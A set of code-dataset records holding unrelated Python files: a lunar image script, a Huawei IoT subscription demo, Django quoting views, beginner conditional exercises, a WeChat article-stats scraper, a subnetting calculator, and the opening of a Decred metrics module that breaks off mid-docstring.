+{"seq_id":"619462564","text":"import os\nimport sys\nroot = os.path.join(os.path.dirname(__file__), '..', '..')\nsys.path.insert(0, os.path.abspath(root))\n\nfrom pdsimage.Structure import *\nfrom pdsimage.PDS_Extractor import *\n\nimport matplotlib.pyplot as plt\n\nif __name__ == '__main__':\n path_pdsfile = os.path.join(root, 'PDS_FILES')\n \n lon0, lon1, lat0, lat1 = 0, 20, -10, 10\n img = BinaryTable('LDEM_16', path_pdsfile=path_pdsfile) \n X, Y, Z = img.extract_grid(lon0,lon1,lat0,lat1)\n\n imagep = os.path.join(root, 'docs', 'source', '_static')\n \n Copernicus = Crater('name', 'Copernicus', path_pdsfile=path_pdsfile)\n Copernicus.ppdlola = 64\n Copernicus.ppdwac = 64\n \n Copernicus.overlay(True, name=os.path.join(imagep, 'Copernicus2.png'))\n\n plt.show()\n","sub_path":"docs/source/cookbook.py","file_name":"cookbook.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"195632238","text":"\"\"\"订阅平台业务数据\"\"\"\r\n\r\nimport sys\r\n\r\nsys.path.insert(0,'C:/Users/admin/Desktop/PythonSDK_V20190905/Python_SDK_Demo')\r\nsys.path.insert(0,\"E:/envs/IOT_LIGHT/Lib/site-packages/PythonSDK_V20190905\")\r\n\r\nfrom Python_SDK_Demo.com.huawei.iotplatform.client.dto.SubDeviceBusinessDataInDTO import SubDeviceBusinessDataInDTO\r\nfrom Python_SDK_Demo.com.huawei.iotplatform.constant.Constant import Constant\r\nfrom PythonSDK_V20190905.com.huawei.iotplatform.client.invokeapi.Authentication import Authentication\r\nfrom PythonSDK_V20190905.com.huawei.iotplatform.client.invokeapi.SubscriptionManagement import SubscriptionManagement\r\n\r\nif __name__==\"__main__\":\r\n authentication = Authentication()\r\n ag = authentication.getAuthToken(Constant().clientInfo())\r\n accesstoken = ag.split(\",\")[0].split(\":\")[1]\r\n\r\n subdevicedatadto=SubDeviceBusinessDataInDTO()\r\n #订阅设备数据发生变化时向服务器发送消息\r\n subdevicedatadto.setNotifyType(\"deviceDataChanged\")\r\n subdevicedatadto.setOwnerFlag(\"true\")\r\n subdevicedatadto.setCallbackUrl(\"http://121.36.37.188:443/reveiver/datachange\")\r\n\r\n data_collect=SubscriptionManagement()\r\n print(data_collect.subDeviceBusinessData(subdevicedatadto,accesstoken[1:-1]))\r\n\r\n\r\n\r\n","sub_path":"PythonSDKDemo_V20190905/Python_SDK_Demo/com/huawei/iotplatform/client/invokeapiTest/SubDeviceBusinessData.py","file_name":"SubDeviceBusinessData.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"470421064","text":"from django.shortcuts import render,redirect\nfrom django.views import generic\nfrom django.http import HttpResponse\nfrom django.db.models import DecimalField,F,Sum,Count,Case,When\nfrom quotes.models import Quote,QuoteLine,UseCase,Multiplier\nfrom products.models import Product\nfrom contacts.models import Account,ResellerAccount\nfrom django.contrib.auth.models import User,Group\nfrom home.models import SpecFileForm\nfrom home.forms import SoftwareDemoForm\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\nimport pandas as pd\nfrom datetime import date,timedelta\nimport calendar,tempfile,subprocess\nfrom decimal import Decimal\nfrom io import StringIO\nimport re\n\nclass SoftwareDemoView(generic.edit.FormView):\n template_name = 'home/software_demo.html'\n form_class = SoftwareDemoForm\n success_url = 'http://www.eaton.com/intelligentpower'\n\n def form_valid(self, form):\n form.email_demo_request()\n return super(SoftwareDemoView, self).form_valid(form)\n\n@method_decorator(login_required, name='dispatch')\nclass IndexView(generic.ListView):\n model = Quote\n template_name = 'home/index.html'\n context_object_name = 'quotes'\n\n def get_context_data(self,**kwargs):\n context = super(IndexView, self).get_context_data(**kwargs)\n filtered = []\n today = date.today()\n date_filter = self.request.GET.get('days', '0')\n total_filter = self.request.GET.get('total', '0')\n\n genex = (x for x in context['quotes'] if x.total() >= int(total_filter))\n quote_totals = Decimal(0)\n for p in genex:\n filtered += [p]\n quote_totals += p.total()\n context['quotes'] = filtered\n context['sum'] = quote_totals\n context['date'] = today - timedelta(int(date_filter))\n return context\n\n def get_queryset(self):\n use_cases = self.request.user.profile.use_cases.all()\n date_filter = self.request.GET.get('days', '0')\n use_case_filter = self.request.GET.get('u', '')\n today = date.today()\n date_ref = today - timedelta(int(date_filter))\n if self.request.user.profile.selected_use_case.index != '66':\n queryset = Quote.objects.filter(date_quoted__gte=date_ref, date_quoted__lte=today,\n distributor__account__use_case__description__icontains=use_case_filter,\n distributor__account__use_case__in=use_cases).exclude(\n distributor__account__use_case__index='66')\n else:\n queryset = Quote.objects.filter(date_quoted__gte=date_ref, date_quoted__lte=today,\n distributor__account__use_case__description__icontains=use_case_filter,\n distributor__account__use_case__index='66')\n return queryset\n\n@method_decorator(login_required, name='dispatch')\nclass QuotesYesterdayView(generic.ListView):\n model = Quote\n template_name = 'home/index.html'\n context_object_name = 'quotes'\n\n def get_context_data(self,**kwargs):\n context = super(QuotesYesterdayView, self).get_context_data(**kwargs)\n yesterday = date.today() - timedelta(1)\n qs = self.object_list\n quote_totals = Decimal(0)\n for p in qs:\n quote_totals += p.total()\n\n context['sum'] = quote_totals\n context['date'] = yesterday\n return context\n\n def get_queryset(self):\n yesterday = date.today() - timedelta(1)\n use_cases = self.request.user.profile.use_cases.all()\n return Quote.objects.filter(date_quoted__year=yesterday.year,\n date_quoted__month=yesterday.month,\n date_quoted__day=yesterday.day,\n distributor__account__use_case__in=use_cases)\n\nclass UsersView(generic.ListView):\n model = User\n template_name = 'home/users.html'\n context_object_name = 'users'\n\nclass MetricsView(generic.ListView):\n model = User\n template_name = 'home/metrics.html'\n context_object_name = 'users'\n\n def get_context_data(self,**kwargs):\n context = super(MetricsView, self).get_context_data(**kwargs)\n month = date.today().month\n qs = self.object_list\n context['groups'] = Group.objects.all()\n if qs:\n context['sum_totals'] = qs.aggregate(Sum('totals'))\n context['total_num_quotes'] = qs.aggregate(Sum('num_quotes'))\n month_num = int(self.request.GET.get('month', month)) if self.request.GET.get('month') else date.today().month\n context['month'] = calendar.month_name[month_num]\n return context\n\n def get_queryset(self):\n current_month = str(date.today().month)\n current_year = str(date.today().year)[2:]\n month = self.request.GET.get('month', current_month) if self.request.GET.get('month') else current_month\n year = self.request.GET.get('year', current_year) if self.request.GET.get('year') else current_year\n group_filter = self.request.GET.get('group', 'AcE') if self.request.GET.get('group') else '.*'\n date_filter = '^AA' + str(month).zfill(2) + '..' + str(year)\n quotes = Quote.objects.filter(quote_number__regex=date_filter)\n if quotes:\n qdf = pd.DataFrame(list(quotes.values('quote_number')))\n qdf['number'] = qdf['quote_number'].str[2:14]\n qdf = qdf.sort_values(by='quote_number',ascending=False)\n qdf = qdf.drop_duplicates('number')\n quote_list = qdf['quote_number'].tolist()\n return User.objects.filter(groups__name__regex=group_filter).filter(quote__quote_number__in=quote_list).annotate(\n num_quotes = Count('quote',distinct=True),\n totals = Sum(F('quote__quoteline__quantity')*F('quote__quoteline__list_price')*Case(\n When(quote__quoteline__standard_discount__gt=0, then=1-(F('quote__quoteline__standard_discount')/100)),\n When(quote__quoteline__standard_discount=0, then=0.5),\n output_field=DecimalField()),\n output_field=DecimalField()),\n ).order_by('-totals')\n else:\n return User.objects.none()\n\n#####################\n# Raw Data Download #\n#####################\n@login_required\ndef data_download(request):\n p = Product.objects.all()\n p_df = pd.DataFrame(list(p.values('catalog_number','product_family')))\n d = Account.objects\n d_df = pd.DataFrame(list(d.values()))\n d_df = d_df.rename(index=str,columns={'id':'distributor_id','name':'distributor_name'})\n r = ResellerAccount.objects.all()\n r_df = pd.DataFrame(list(r.values('id','name')))\n r_df = r_df.rename(index=str,columns={'id':'reseller_id','name':'reseller_name'})\n quotes = Quote.objects.all()\n q_df = pd.DataFrame(list(quotes.values('quote_number','dealreg_number','distributor__account__name','reseller__reseller_account__name','job_name',\n 'date_quoted','date_expires','AcE__last_name','registered','upsgrade','fed','pbe')))\n q_df['number'] = q_df['quote_number'].str[2:14]\n q_df = q_df.sort_values(by='quote_number',ascending=False)\n q_df = q_df.drop_duplicates('number')\n quote_list = q_df['quote_number'].tolist()\n quotelines = QuoteLine.objects.filter(quote__quote_number__in=quote_list)\n ql_df = pd.DataFrame(list(quotelines.values('quote_id','catalog_number','quantity','list_price',\n 'recommended','standard_discount','extended_discount','subtracter')))\n ql_df = pd.merge(ql_df,q_df,left_on='quote_id',right_on='quote_number')\n ql_df = pd.merge(ql_df,p_df,how='outer',on='catalog_number')\n ql_df['line_total_all'] = ql_df.apply(lambda row: Decimal(row.quantity) * row.list_price * Decimal(0.5)\n if row.standard_discount + row.extended_discount + row.subtracter == Decimal(0) else \n Decimal(row.quantity) * ( ( Decimal(row.list_price) * ( ( ( Decimal(100) - Decimal(row.standard_discount) ) * \n ( Decimal(100) - Decimal(row.extended_discount) ) / Decimal(10000) ) ) - Decimal(row.subtracter) ) ), axis=1)\n ql_df = ql_df.drop(['number','quote_id'],axis=1)\n out = StringIO()\n ql_df.to_csv(out, index=False)\n out.seek(0)\n response = HttpResponse(out.read(), content_type=\"text/csv\")\n response['Content-Disposition'] = \"attachment; filename=quoteline_data.csv\"\n return response\n\n#####################\n# specAI #\n#####################\n\n@login_required\ndef spec_upload(request):\n if request.method == 'POST':\n form = SpecFileForm(request.POST, request.FILES)\n if form.is_valid():\n tf = tempfile.NamedTemporaryFile()\n tf.write(request.FILES['spec'].read())\n tf.seek(0)\n otf = tempfile.NamedTemporaryFile()\n o, e = subprocess.Popen([\"pdftotext\", \"-layout\", tf.name, otf.name ]).communicate()\n out = otf.read().decode('utf-8')\n word_list = ['kVA','kW','efficiency','UL924','REPO\\s','spare parts','redundan','back\\s?up','maintenance','bypass','seismic','OSHPD','input','output','backup','monitoring','software','communication','kAIC','parallel',\n 'disconnect','distribution','floor stand','surge','TAA','\\sARRA\\s','60601-1-1','startup','training','burn','certified test data','witness test','warranty','VRLA','Ni-Ca?d','1778','125','flooded',\n 'preventative','nickel cadmium','ferroresonant','pwm','pulse width modulation','pdu','rpp','wet cell','vdc','overload','altitude','btu','harmonic','watt','interactive','online','minutes','hour',\n 'runtime','dual','install','service','eaton']\n words = re.compile('(' + '|'.join(word_list) + ')', re.IGNORECASE).search\n sentances = out.splitlines(True)\n spec = [{'word':word.group(1).replace(' ','_').lower(),'sentance':sentance.replace(word.group(1),'' + word.group(1) + '')} if word\n else {'word':None,'sentance':sentance} for sentance in sentances for word in [words(sentance)]]\n return render(request, 'home/spec_output.html', {'spec': spec})\n else:\n form = SpecFileForm()\n return render(request, 'home/spec_upload.html', {'form': form})\n\n#####################\n# Select Use Case #\n#####################\n@login_required\ndef select_use_case(request,u_c):\n user = User.objects.get(pk=request.user.pk)\n use_case = UseCase.objects.get(pk=u_c)\n user.profile.selected_use_case = use_case\n user.save()\n return redirect('contacts:index')\n","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"28332265","text":"#Logic \n\n#Conditional statements gives us the ability to check conditions and make decisions based on the condition.\n\n#In this assignment, you'll be asked to create conditional statements using if, elif and else. \n\n# Please commit and push your code after each completed exercise.\n\n#1. Declare a variable named weather and assign it a string value of 'rain'. Next create a conditional statement that will check the weather and print 'Bring an umbrella' if weather equals 'rain'.\nweather = 'rain'\nif weather == 'rain':\n print('Bring an umbrella')\n#2 Declare a variable named score and assign it a number value of 70. Next create a conditional statement that will check the score and print 'You pass!' if the score is 70 and above and print 'Study harder!' if the score is less than 70.\nscore = 70\nif score >= 70:\n print('You pass!')\nelse:\n print('Study harder!')\n#3. Declare a variable named download_speed and assign it a data value of 50. Next create a conditional statement that will check the download speed and print the following based on the condition:\ndownload_speed = 50\n\n# <= 50: 'Basic Package'\n# <=100: 'Premium Package'\n# >100: 'Platinum Package'\nif download_speed<=50:\n print('Basic Package')\nelif download_speed<=100:\n print('Premium package')\nelse:\n print('Platinum Package')\n\n #4 Function - check_password\n #Create a function named check_password which takes a parameter password.\n\n #The function will return true if the password passed into the function is equal to 'qwerty'. Declare a variable named password_result and print your result.\ndef check_password(str):\n if str=='qwerty':\n return True\n else:\n return False\n\npassword_result=check_password('this')\nprint(password_result)\n\n#5 Function check_login\n#Create a function named check_login which takes a parameter login.\n\n#The function will print 'Login Success' if the login passed into the function is equal to 'DevLeague' and print 'Re-enter Login' if it doesn't.\ndef check_login(str):\n if str == 'DevLeague':\n print('Login Success')\n else:\n print('Re-enter Login')\n\nthis=input('Input Login: ')\ncheck_login(this)\n\n#6 Function malware_type\n#Create a function named malware_type which takes a parameter malware. \n\n#The function will print the following based on the following conditions:\n#if malware is adware: 'Low Threat'\n#if malware is virus: 'Do not share files'\n#default message 'I hope you backed up your data'\ndef malware_type(malware):\n if malware=='adware':\n print('Low Threat')\n elif malware=='virus':\n print('Do not share files')\n else:\n print('I hope you backed up your data')\n\nmalware_type('virus')\n\n\n#7 Function encryption\n#Create a function named encryption which takes a parameter keys.\n\n#The function will print 'Encryption Success' if the keys passed into function has 5 characters and print 'Encryption Fail' if it doesn't.\ndef encryption(keys):\n if len(str(keys))==5:\n print('Encryption success')\n else:\n print('Encryption fail')\n\nthis=input('Input key: ')\nencryption(this)\n\n\n#8 Function even_cryptography\n#Create a function named even_cryptography which takes a parameter num.\n\n#The function will print 'Decryption Success' if the number passed into the function is even and print 'Decryption Fail' if it isn't.\ndef even_crytopgraphy(num):\n if int(num)%2==0:\n print('Decryption succcess')\n else:\n print('Decription fail')\n\nthis=input('Input number to decrypt: ')\neven_crytopgraphy(this)\n\n\n\n#9 Function bandwidth\n#Declare a variable named mbps and assign it a list of 5 number values of your choosing. \nmbps = [100,200,300,400,500]\n#Next, create a function named bandwidth which takes a parameter usage.\n#The function will sum up the list of numbers and print the following messages based on the condition:\ndef bandwidth(sum):\n if sum<=50:\n print('Light user')\n elif sum<=100:\n print('Moderate user')\n elif sum<=150:\n print('Multi media user')\n else:\n print('Power user')\n\nthis=sum(mbps)\nbandwidth(this)\n#if sum <= 50: 'Light User'\n#if sum <= 100: 'Moderate User'\n#if sum <=150: 'Multi Media User'\n#if sum >150: 'Power User'\n\n#10 Function ssh_keys\n#Create a function named ssh_keys which takes two parameters public and private.\n\n#The function will return false if public and private aren't equal and return true if they are equal.\n\n#Declare a variable named ssh_connection and print your result.\ndef ssh_keys(public,private):\n if public==private:\n return True\n else:\n return False\nthis=input(\"Provide public key: \")\nthat = 12345\ncompare=ssh_keys(this,that)\n\n#11 Function largest_num\n#Create a function named largest_num which takes three parameters: num_1, num_2 and num_3.\n\n#The function will find the largest number among any three numbers that are passed into the function. Declare a variable named large_num_result and print your results.\ndef largest_num(num_1,num_2,num_3):\n large_num_result=max(num_1,num_2,num_3)\n print(large_num_result)\n\nlargest_num(8,6,23)\n#12 Function pos_neg\n#Create a function named pos_neg which takes a parameter num.\n\n#The function will print 'Positive Number' if the number passed in is positive, print 'Zero' if the number is 0 and print 'Negative Number' for a negative number.\ndef pos_neg(num):\n if num<0:\n print('negative number')\n elif num==0:\n print('Zero')\n else:\n print('Positive number')\n\n\n#13 Function name_caps\n#Create a function named name_caps which takes a parameter name.\n\n#The function will check the number of characters in the name that is passed into the function and do the following:\n\n#if characters in name <=5: capitalize the first letter in the name\n#if characters in name <=10: captialize all the letters in the name\n#if characters in name >10: leave the letters as is\ndef name_caps(name):\n if len(name)<=5:\n return name.title()\n elif len(name)<=10:\n return name.upper()\n else:\n return name\n\nthis=input('Input the name: ')\ncheck=name_caps(this)\nprint(check)\n#Print your results\n\n#14 Function leap_year\n\n#A leap year occurs every four years. Every year that is exactly divisible by four is a leap year, except for years that are exactly divisible by 100, but are leap years if they are exactly divisible by 400.\n\n#Create a function named leap_year which takes a parameter year.\n#The function will print 'The year x is a leap year.' where x is the year value that is passed into the function and print 'The year x is not a leap year.' if it isn't a leap year.\ndef leap_year(year):\n if year%4==0:\n if year%400==0:\n print(f\"The year {year} is a leap year.\")\n elif year%100==0:\n print(f\"The year {year} is not a leap year.\")\n else:\n print(f\"The year {year} is a leap year.\")\n else:\n print(f\"The year {year} is not a leap year.\")\n\ncheck=input(\"Input year: \")\nleap_year(int(check))","sub_path":"exercises.py","file_name":"exercises.py","file_ext":"py","file_size_in_byte":6945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"81849089","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport json\nimport time\nimport requests\nimport re\n\nfrom RongCloudChannel.items import *\nfrom RongCloudChannel.utils import dateUtil\n\n\nclass GongzhonghaoappSpider(scrapy.Spider):\n name = 'GongZhongHaoApp'\n channel_id = '公众号'\n\n ### __biz 和 key 一一对应, 且key的有效时间较短\n __biz = 'test'\n key = 'test'\n uin = 'test'\n firstOffset = 0\n count = 10\n\n articalListUrl = \"https://mp.weixin.qq.com/mp/profile_ext?action=getmsg&__biz={}&f=json&offset={}&count={}&is_ok=1&uin={}&key={}\"\n\n #param: uin, key, __biz\n articalUrl = \"https://mp.weixin.qq.com/mp/getappmsgext?f=json&uin={}&key={}&__biz={}\"\n #param: mid, sn, idx, scene\n articalBody = \"mid={}&sn={}&idx={}&scene={}&is_only_read=1\"\n spaceMark = \"&\"\n\n articalHeaders = {\n 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 QBCore/4.0.1278.400 QQBrowser/9.0.2524.400 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2875.116 Safari/537.36 NetType/WIFI MicroMessenger/7.0.5 WindowsWechat',\n }\n\n\n def start_requests(self):\n yield scrapy.Request(self.articalListUrl.format(self.__biz, self.firstOffset, self.count, self.uin, self.key),\n method='GET', callback=self.parseArticalListPage,\n meta={'biz': self.__biz})\n\n\n def parseArticalListPage(self, response):\n rltJson = json.loads(response.text)\n biz = response.meta['biz']\n if 'ret' not in rltJson:\n return\n if rltJson['ret'] != 0:\n print('response error:' + response.text)\n return\n msgListJson = json.loads(rltJson['general_msg_list'])\n msgList = msgListJson['list']\n curTime = dateUtil.getCurDate()\n for msg in msgList:\n contentItem = ContentItem()\n contentItem['channel_id'] = self.channel_id\n contentItem['account_id'] = biz\n contentItem['record_class'] = 'content_info'\n contentItem['crawl_time'] = curTime\n\n url = msg['app_msg_ext_info']['content_url']\n title = msg['app_msg_ext_info']['title']\n datetime = msg['comm_msg_info']['datetime']\n id = msg['comm_msg_info']['id']\n\n contentItem['id'] = id\n contentItem['title'] = title\n contentItem['content_link'] = url\n contentItem['publish_time'] = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(int(datetime)))\n\n time.sleep(5)\n comment_id = self.getCommentId(url)\n\n curUrl = url.replace(\"http://mp.weixin.qq.com/s?\", \"\").replace(\"#wechat_redirect\", \"\")\n paramList = curUrl.split(self.spaceMark)\n mid = \"\"\n sn = \"\"\n idx = \"\"\n scene = \"\"\n for curParam in paramList:\n if curParam.startswith(\"mid=\"):\n mid = curParam[4:]\n if curParam.startswith(\"sn=\"):\n sn = curParam[3:]\n if curParam.startswith(\"idx=\"):\n idx = curParam[4:]\n if curParam.startswith(\"scene=\"):\n scene = curParam[6:]\n time.sleep(10)\n curBody = self.articalBody.format(mid, sn, idx, scene)\n if comment_id is not None:\n curBody += \"&comment_id=\" + comment_id\n yield scrapy.Request(self.articalUrl.format(self.uin, self.key, self.__biz),\n body=curBody, method='POST',\n headers=self.articalHeaders,\n callback=self.parseArticalPage,\n meta={'contentItem': contentItem})\n\n break\n '''can_msg_continue = rltJson['can_msg_continue']\n if can_msg_continue == 1:\n next_offset = rltJson['next_offset']\n time.sleep(10)\n yield scrapy.Request(self.articalListUrl.format(self.__biz, next_offset, self.count, self.uin, self.key),\n method='GET', callback=self.parseArticalListPage)'''\n\n\n def getCommentId(self, url):\n response = requests.get(url)\n if response.status_code != 200:\n return None\n commentIdRlt = re.search(r'var comment_id = \"\\d+\"', response.text)\n if commentIdRlt is not None:\n commentIdStr = commentIdRlt.group(0)\n commentId = commentIdStr.replace('var comment_id = \"', '').replace('\"', '')\n return commentId\n return None\n\n\n def parseArticalPage(self, response):\n if response.status != 200:\n print('get url error: ' + response.url)\n return\n rltJson = json.loads(response.text)\n contentItem = response.meta['contentItem']\n if 'appmsgstat' in rltJson:\n appmsgstat = rltJson['appmsgstat']\n if 'read_num' in appmsgstat:\n contentItem['read_count'] = appmsgstat['read_num']\n if 'like_num' in appmsgstat:\n contentItem['like_count'] = appmsgstat['like_num']\n if 'comment_count' in rltJson:\n contentItem['comment_count'] = rltJson['comment_count']\n\n print(contentItem)\n #yield contentItem","sub_path":"TianShuMedia/RongCloudChannel/RongCloudChannel/spiders/GongZhongHaoApp.py","file_name":"GongZhongHaoApp.py","file_ext":"py","file_size_in_byte":5433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"102922306","text":"from sys import stdin\nimport math as m\n\nclass SubNetting():\n subRedes = []\n idRedes = []\n broadcastRedes = []\n mascaraRedes = []\n gatewayRedes = []\n def __init__(self,subRedes):\n for i in range(len(subRedes)):\n self.subRedes.append(subRedes[i])\n self.generarIdRedes()\n self.generarBroadcastRedes()\n self.generarMascaraRedes()\n self.generarGatewayRedes()\n self.getIdRedes()\n self.getBroadcastRedes()\n self.getMascaraRedes()\n self.getGatewayRedes()\n def generarIdRedes(self):\n for i in range(len(self.subRedes)):\n sR = self.subRedes[i]\n sR.idRed = self.sumar1(sR.idRed,sR.getBitRed(),1)\n while self.idRedRepetida(sR.idRed,i):\n sR.idRed = self.sumar1(sR.idRed,sR.getBitRed(),1)\n def generarGatewayRedes(self):\n for i in range(len(self.subRedes)):\n sR = self.subRedes[i]\n for i in range(len(sR.idRed)):\n sR.gateway.append(sR.idRed[i])\n sR.gateway = self.sumar1(sR.gateway,31,1)\n \n def getIdRedes(self):\n for i in range(len(self.subRedes)):\n self.idRedes.append(self.subRedes[i].getIdRed())\n return self.idRedes\n def generarBroadcastRedes(self):\n for i in range(len(self.subRedes)):\n sR = self.subRedes[i]\n for j in range(len(sR.idRed)):\n if sR.ispHostRed[j] == 'H':\n sR.broadcast.append(1) \n else:\n sR.broadcast.append(sR.idRed[j])\n def getBroadcastRedes(self):\n for i in range(len(self.subRedes)):\n self.broadcastRedes.append(self.subRedes[i].getBroadcastRed())\n return self.broadcastRedes\n def generarMascaraRedes(self):\n for i in range(len(self.subRedes)):\n sR = self.subRedes[i]\n for j in range(0,sR.bitsMascara):\n sR.mascara.append(1)\n for k in range(sR.bitsMascara,32):\n sR.mascara.append(0)\n def getMascaraRedes(self):\n for i in range(len(self.subRedes)):\n self.mascaraRedes.append(self.subRedes[i].getMascaraRed())\n return self.mascaraRedes\n def getGatewayRedes(self):\n for i in range(len(self.subRedes)):\n self.gatewayRedes.append(self.subRedes[i].getGatewayRed())\n return self.gatewayRedes\n def idRedRepetida(self,idRed,index):\n for i in range(len(self.subRedes)):\n if i!=index:\n if self.subRedes[i].idRed == idRed:\n return True\n return False\n \n def sumar1(self,lista,index,carry):\n if carry==0:\n return lista\n if lista[index] == 0:\n lista[index] = 1\n carry=0\n elif lista[index] == 1:\n lista[index] = 0\n self.sumar1(lista,index-1,1)\n return lista\n\n def __str__(self):\n string = \"\"\n for i in range(len(self.subRedes)):\n string += \"Red: \" + str(i+1) + '\\n'\n string += \"Id red: \" + self.idRedes[i] + '\\n'\n string += \"Brodcast red: \" + self.broadcastRedes[i] + '\\n'\n string += \"Mascara: \" + self.mascaraRedes[i] + ' /'+str(self.subRedes[i].bitsMascara) + '\\n'\n string += \"Gateway: \" + self.gatewayRedes[i] + '\\n'\n string += \"Numero host: \" + str(self.subRedes[i].numeroHost) + '\\n'\n string += '\\n'\n return string\n \nclass SubRed():\n \n B=[]\n mascaraIsp = 0;\n numeroHostD = 0;\n ispHostRed = []\n idRed = []\n brodcast = []\n mascara = []\n bitsMascara = 0;\n gateway =[]\n numeroHost = 0;\n def __init__(self,bits,mascaraIsp,numeroHostD):\n self.idRed = []\n self.broadcast = []\n self.mascara = []\n self.gateway = []\n self.B=[0 for i in range(32)]\n self.ispHostRed = [\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"] \n self.mascaraIsp = mascaraIsp\n self.numeroHostD = numeroHostD\n \n for i in range(len(bits)):\n self.pasarABinario(bits[i],i+1)\n self.dividirIspRH(self.mascaraIsp,self.numeroHostD)\n self.generarIdRed(self.idRed,self.B,self.ispHostRed)\n def pasarABinario(self,decimal,numeroByte):\n ultimo = 7\n for i in range((numeroByte-1)*8,8*numeroByte):\n if decimal-2**ultimo>=0:\n self.B[i] = 1\n decimal -= 2**ultimo\n else:\n self.B[i] = 0\n ultimo -=1\n def generarIdRed(self,idRed,B,ispHostRed):\n for i in range(0,32):\n if ispHostRed[i] == 'ISP' or ispHostRed[i] == 'R':\n idRed.append(B[i])\n else:\n idRed.append(0)\n def dividirIspRH(self,mascara,numerohost):\n numeroBitsH = m.ceil(m.log(numerohost,2))\n if numeroBitsH == 1:\n numeroBitsH += 1\n self.bitsMascara = 32 - numeroBitsH\n self.numeroHost = 2**numeroBitsH -2\n for i in range(0,mascara):\n self.ispHostRed[i] = 'ISP'\n for j in range(mascara,mascara+(32-numeroBitsH-mascara)):\n self.ispHostRed[j] = 'R'\n for k in range(mascara+(32-numeroBitsH-mascara),32):\n self.ispHostRed[k] = 'H'\n\n def getBitRed(self):\n return self.ispHostRed.index('H')-1\n def getIdRed(self):\n return self.getDecimal(self.idRed)\n def getBroadcastRed(self):\n return self.getDecimal(self.broadcast)\n def getMascaraRed(self):\n return self.getDecimal(self.mascara)\n def getGatewayRed(self):\n return self.getDecimal(self.gateway)\n def getDecimal(self,numeroBinario):\n aux=''\n acum=0\n conta=0\n potencia = 7\n for j in range(32):\n acum += (2**potencia)*numeroBinario[j]\n potencia -=1\n conta +=1\n if conta == 8:\n aux += str(acum)\n if j != 31:\n aux += '.'\n acum =0\n conta=0\n potencia =7\n return aux\n\n\n\nsn = SubNetting([SubRed([112,158,0,0],20,200),\n SubRed([112,158,0,0],20,80),\n ])\n\nprint (sn)\n\n\n \n \n","sub_path":"subnetting.py","file_name":"subnetting.py","file_ext":"py","file_size_in_byte":6345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"267201264","text":"# Calculate a Suite of Decred Specific Metrics\n#Data Science\nimport pandas as pd\nimport numpy as np\nimport math\nimport datetime as date\ntoday = date.datetime.now().strftime('%Y-%m-%d')\n\nfrom checkonchain.general.coinmetrics_api import * #Coinmetrics.io\nfrom checkonchain.general.regression_analysis import *\nfrom checkonchain.dcronchain.dcr_schedule import * #DCR Schedule\nfrom checkonchain.dcronchain.dcr_dcrdata_api import * #DCRdata.org\nfrom checkonchain.general.general_helpers import *\nfrom checkonchain.btconchain.btc_add_metrics import *\n\nimport os\n\nclass dcr_add_metrics():\n \"\"\"\n Functions for building Pandas DataFrames of Decred specific metrics\n Aggregates data from supported APIs and calculates Decred specific metrics\n - Coinmetrics Community\n - dcrdata\n\n Functions Available\n dcr_coin = coinmetrics community with supplemented price data from early data sources\n dcr_sply = theoretical supply curve with added S2F model\n dcr_sply_curtailed = dcr_sply curtailed to 0.667 days to reduce df size (reduce load on charts)\n dcr_diff = dcrdata difficulty for PoS and PoW. Data setup in 144 block windows \n ['blk','window','time','tic_cnt_window','tic_price','tic_miss','pow_diff']\n dcr_perf = dcrdata blockchain performance \n ['blk','time','dcr_sply','dcr_tic_sply','tic_part','tic_pool','tic_blk',\n 'pow_hashrate_THs','pow_work_EH']\n dcr_natv = dcrdata blockchain combination of dcr_perf and dcr_diff (by block) \n ['blk', 'window','tic_cnt_window', 'tic_price', 'tic_blk', 'tic_pool',\n 'dcr_tic_sply', 'dcr_sply','pow_diff','pow_hashrate_THs', 'pow_work_TH']\n dcr_real = Compiles Coinmetrics (dcr_coin) and dcrdata (dcr_natv) for general data analytics\n dcr_subsidy_models = Follows dcr_real, adds income for PoW, PoS, Fund and Total priced in dcr, btc and usd\n dcr_ticket_models = Follows dcr_subsidy_models, ticket based transaction models\n \"\"\"\n \n def __init__(self):\n self.topcapconst = 12 #Top Cap = topcapconst * Avg Cap\n self.blkrew_ratio = [0.6,0.3,0.1] #PoW,PoS,Fund Block Reward Fraction\n self.sply_curtail = 6144 / 4 #reduce dataset = 5.33days\n self.dust_limit = 100 #set Decred dust limit in bytes\n self.dirname = os.path.dirname(__file__)\n\n def dcr_coin(self): \n \"\"\"\n Pulls Coinmetrics v2 API Community\n - adds coin age metric (days)\n - adds coin age metric (supply) = Supply / 21M\n - adds Bittrex early price data not included in coinmetrics from csv\n\n OUTPUT DATAFRAME COLUMNS:\n 'date', 'blk','age_days','age_sply','btc_blk_est',\n 'BlkSizeByte', BlkSizeMeanByte',\n 'DailyIssuedNtv', 'DailyIssuedUSD', 'inf_pct_ann', 'S2F',\n 'AdrActCnt', 'BlkCnt', 'BlkSizeByte', 'BlkSizeMeanByte',\n 'CapMVRVCur', 'CapMrktCurUSD', 'CapRealUSD','CapRealBTC', 'DiffMean', 'CapMVRVCur',\n 